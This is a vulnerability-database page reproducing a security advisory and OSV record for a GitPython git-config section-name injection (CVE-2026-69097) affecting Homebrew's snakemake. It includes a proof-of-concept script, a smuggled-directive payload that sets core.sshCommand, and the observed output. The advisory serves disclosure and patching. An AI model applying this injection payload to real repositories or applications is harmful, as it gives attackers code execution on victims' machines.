GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

BREW-SNAKEMAKE-CVE-2026-69097 (GHSA-3RP5-JJMW-4WV2)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:34 – Updated: 2026-09-17 20:10 – Source website
VLAI
Summary
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
Details

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...)Submodule.addgit/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True)git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:

# GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

  • an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
  • Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Recommended fix

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.


{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "gitpython",
        "resource_purl": "pkg:pypi/gitpython@3.1.62",
        "upstream_fixed_in": "3.1.53"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "snakemake",
        "purl": "pkg:brew/snakemake"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.5.3"
            },
            {
              "fixed": "9.23.1_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/gitpython@3.1.62",
        "name": "gitpython",
        "resource": "gitpython",
        "strategy": "registry",
        "subject_version": "3.1.62"
      }
    ]
  },
  "details": "### Summary\n\nIn GitPython `\u003c= 3.1.52`, the config writer neutralizes only CR, LF, and NUL in configuration **names**, but writes section names into the `[...]` header with no other escaping. A section/subsection name that contains `] [ \"` closes the intended header and opens a second same-line section, injecting an arbitrary config directive \u2014 with no newline required. Because a submodule **name** is attacker-controlled data (it comes from a repository\u0027s `.gitmodules`, or from an application that lets a user name a submodule) and is written verbatim into the parent repository\u0027s trusted `.git/config`, an attacker can set `core.sshCommand` (or `alias.*`, `core.pager`, `core.fsmonitor`) and achieve remote code execution on the victim\u0027s next git operation. Likely **CWE-74 (Injection)**.\n\nThis is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed **newline** injection into config values/names (patched in 3.1.50); the `[r\\n\\x00]` guard added for them does not stop a **same-line** section break inside a name.\n\n### Details\n\nThe only guard applied to section/option names before writing is `_assure_config_name_safe`, which uses a regex that matches solely CR/LF/NUL:\n\n`git/config.py:75,897-899` (`GitPython 3.1.52`):\n\n```python\nUNSAFE_CONFIG_CHARS_RE = re.compile(r\"[\\r\\n\\x00]\")\n...\ndef _assure_config_name_safe(self, name: \"cp._SectionName\", label: str) -\u003e None:\n    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):\n        raise ValueError(\"Git config %s names must not contain CR, LF, or NUL\" % label)\n```\n\nThe name is then serialized into the header with no escaping of `]`, `[`, `\"`, space, `=` or `#`:\n\n`git/config.py:693`:\n\n```python\nfp.write((\"[%s]\\n\" % name).encode(defenc))\n```\n\nFor submodules the name is wrapped as `submodule \"\u003cname\u003e\"` (`git/objects/submodule/util.py:39`, `return f\u0027submodule \"{name}\"\u0027`), which supplies the balancing quote. A submodule named:\n\n```\nx\"] [core] sshCommand=CMD #\n```\n\ntherefore serializes to the header `[submodule \"x\"] [core] sshCommand=CMD #\"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#\"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.\n\nThe attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository\u0027s `.git/config`:\n\n- `Repo.create_submodule(name=\u003cuntrusted\u003e, ...)` \u2192 `Submodule.add` \u2192 `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), \"url\", url)` \u2014 a single call, no hostile remote required.\n- `Repo.clone_from(\u003chostile url\u003e)` + `repo.submodule_update(init=True)` \u2192 `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), \"url\", self.url)`, where `self.name` is read unvalidated from the cloned repo\u0027s `.gitmodules`.\n\nAsymmetry: the sibling class is blocked \u2014 a newline in a config **value**, e.g. `set_value(\"core\", \"editor\", \"x\\n\\tsshCommand=CMD\")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.\n\n### PoC\n\nSingle self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Minimal PoC: git-config section-name injection in GitPython==3.1.52.\"\"\"\nfrom importlib.metadata import version\nimport os, tempfile, subprocess\nimport git\n\nprint(f\"# GitPython {version(\u0027GitPython\u0027)}\")        # version proof -- first line\n\nMARKER = \"MARKER_9f3a\"                               # inert; never executed\ntmp = tempfile.mkdtemp()\nenv = {**os.environ, \"HOME\": tmp,\n       \"GIT_CONFIG_GLOBAL\": os.path.join(tmp, \"gc\"), \"GIT_CONFIG_SYSTEM\": os.devnull,\n       \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@b.c\",\n       \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@b.c\"}\n\ndef run(*a, cwd=None):\n    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)\n\n# A benign local repo used as the submodule url (a plain path, no network).\nsrc = os.path.join(tmp, \"src\"); os.makedirs(src)\nrun(\"git\", \"init\", \"-q\", src)\nopen(os.path.join(src, \"f\"), \"w\").write(\"x\")\nrun(\"git\", \"add\", \"f\", cwd=src); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=src)\nsuburl = os.path.join(tmp, \"sub.git\"); run(\"git\", \"clone\", \"-q\", \"--bare\", src, suburl)\n\ndef parent_repo():\n    p = tempfile.mkdtemp(dir=tmp)\n    run(\"git\", \"init\", \"-q\", p)\n    open(os.path.join(p, \"r\"), \"w\").write(\"x\")\n    run(\"git\", \"add\", \"r\", cwd=p); run(\"git\", \"commit\", \"-qm\", \"i\", cwd=p)\n    return p\n\ndef injected_sshcommand(parent):\n    r = run(\"git\", \"config\", \"-f\", os.path.join(parent, \".git\", \"config\"),\n            \"--get\", \"core.sshCommand\")\n    return (r.returncode, r.stdout.strip())\n\nbenign = \"docs\"\nevil   = f\u0027x\"] [core] sshCommand={MARKER} #\u0027          # closes the header, opens [core]\n\np_control = parent_repo()\ngit.Repo(p_control).create_submodule(name=benign, path=\"docs\", url=suburl)\np_exploit = parent_repo()\ngit.Repo(p_exploit).create_submodule(name=evil, path=\"sub\", url=suburl)\n\nctl = injected_sshcommand(p_control)\nexp = injected_sshcommand(p_exploit)\nheader = [l for l in open(os.path.join(p_exploit, \".git\", \"config\")).read().splitlines()\n          if l.startswith(\"[submodule\")][0]\n\nprint(\"control name :\", repr(benign))\nprint(\"  git core.sshCommand -\u003e\", ctl, \"(unset)\")\nprint(\"exploit name :\", repr(evil))\nprint(\"  written header      -\u003e\", header)\nprint(\"  git core.sshCommand -\u003e\", exp)\n\nassert ctl[0] != 0 and ctl[1] == \"\", \"control unexpectedly set core.sshCommand\"\nassert exp == (0, MARKER), \"not reproduced\"\nprint(f\"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} \"\n      f\"into the victim\u0027s trusted .git/config (git would run it on the next ssh op)\")\n```\n\nRun:\n\n```bash\nuv run --with GitPython==3.1.52 python poc.py\n```\n\nObserved output:\n\n```\n# GitPython 3.1.52\ncontrol name : \u0027docs\u0027\n  git core.sshCommand -\u003e (1, \u0027\u0027) (unset)\nexploit name : \u0027x\"] [core] sshCommand=MARKER_9f3a #\u0027\n  written header      -\u003e [submodule \"x\"] [core] sshCommand=MARKER_9f3a #\"]\n  git core.sshCommand -\u003e (0, \u0027MARKER_9f3a\u0027)\nVERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim\u0027s trusted .git/config (git would run it on the next ssh op)\n```\n\nThe benign name yields a single clean `[submodule \"docs\"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `\"` makes git reject the header); the `submodule \"\u003cname\u003e\"` wrapper balances them automatically.\n\n### Impact\n\nArbitrary attacker-controlled write into the victim\u0027s repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim\u0027s next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths:\n\n- an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or\n- `Repo.clone_from` of an untrusted repository followed by `submodule_update` \u2014 the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`.\n\nNo non-default git settings are required. Primarily a Unix vector: on Windows the `\"` in the resulting `.git/modules/\u003cname\u003e` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected).\n\n### Recommended fix\n\nReject or escape configuration section/subsection/option **names** that contain `]`, `[`, `\"`, or leading/trailing whitespace (or apply git\u0027s own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path.",
  "id": "BREW-snakemake-CVE-2026-69097",
  "modified": "2026-09-17T20:10:37Z",
  "published": "2026-08-13T17:34:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)",
  "upstream": [
    "GHSA-3rp5-jjmw-4wv2",
    "CVE-2026-69097"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…